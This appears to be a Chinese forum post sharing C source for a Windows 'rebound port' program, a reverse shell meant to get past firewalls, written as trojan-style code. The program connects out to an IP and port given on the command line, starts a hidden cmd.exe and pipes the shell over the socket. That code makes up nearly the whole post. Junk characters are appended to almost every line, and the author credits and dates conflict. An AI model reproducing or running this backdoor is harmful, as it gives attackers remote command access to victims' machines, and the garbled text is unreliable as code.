这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g34<0%6jd
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/* ============================== 4*}[h9J}\
Rebound port in Windows NT ((Ak/ qz
By wind,2006/7 ;&q}G1
===============================*/ I@+h|
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#include svCD&~|K#
#include 9h>nP8
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#pragma comment(lib,"wsock32.lib") %'a%ynFs
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void OutputShell(); (MY#;v\AYE
SOCKET sClient; rL3<r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mEfI2P)#|
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void main(int argc,char **argv) z6ISJb
{ ']Gqa$(YC
WSADATA stWsaData; k"&loh
int nRet; 'DO^ ($N
SOCKADDR_IN stSaiClient,stSaiServer; oGM Ls
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if(argc != 3) +~?ze,Di
{ N+ZDQa[
printf("Useage:\n\rRebound DestIP DestPort\n"); &lbxmUeU
return; T6h-E^Z
} ."&,_F
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WSAStartup(MAKEWORD(2,2),&stWsaData); lPx4=O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rl4B(NZi}
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stSaiClient.sin_family = AF_INET; bO 2>ced
stSaiClient.sin_port = htons(0); GmP)"@O](;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0{^vqh.La
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &E0L7?l
{ 6E/>]3~!
printf("Bind Socket Failed!\n"); }IO<Dq=[
return; Se<]g$eK?5
} +PgUbr[p
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stSaiServer.sin_family = AF_INET; :,gnOfV=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "X0"=1R~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Oo|*q+{
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G6(kwv4
{ Yv k
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printf("Connect Error!"); [zv>Wlf,%
return; !l|vO(
} 2_ M+akqy^
OutputShell(); 4
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} TP o%zZo
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void OutputShell() qX{"R.d
{ oNQ;9&Z,^2
char szBuff[1024]; (XA=d
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SECURITY_ATTRIBUTES stSecurityAttributes; R,R[.2Vi
OSVERSIONINFO stOsversionInfo; (;v)0&h
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7K.&zn
STARTUPINFO stStartupInfo; J!5BH2bg
char *szShell; %|E'cdvkX
PROCESS_INFORMATION stProcessInformation; _Z?{&k
unsigned long lBytesRead; `q|&;wP.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VeiJ1=hc
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Py7!_TX
stSecurityAttributes.lpSecurityDescriptor = 0; ?3X!
stSecurityAttributes.bInheritHandle = TRUE; ddvSi6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RapHE; <
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F}3<q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^7MhnA
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n@n608
stStartupInfo.wShowWindow = SW_HIDE; AzAD76iNv
stStartupInfo.hStdInput = hReadPipe; \$:KfN>WY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F x,08
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GetVersionEx(&stOsversionInfo); !<r+h,C
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switch(stOsversionInfo.dwPlatformId) ah<1&UG,
{ HDQhXw!!hc
case 1: T'\B17
:*
szShell = "command.com"; !OWPwBm;
break; 'F%4[3a$\n
default:
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szShell = "cmd.exe"; vvA=:J4/i)
break; 3ThBy'
} 06DT2
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ].F7.
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send(sClient,szMsg,77,0); :#D?b.=
while(1) Vp8t8X1`
{ }s)MDq9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J)1:jieQ
if(lBytesRead) ~^d. zIN!
{ UjibQl3:m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <;O=h;
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send(sClient,szBuff,lBytesRead,0); ]=\Mf<
} m|q?gX9R
else z'@j9vT
{ n8<o*f&&9>
lBytesRead=recv(sClient,szBuff,1024,0); dFY]~_P472
if(lBytesRead<=0) break; n\d`Fk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); i`[5%6\"&
} [MSLVTR
} 'J^ M`/
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return; s ^NO(
}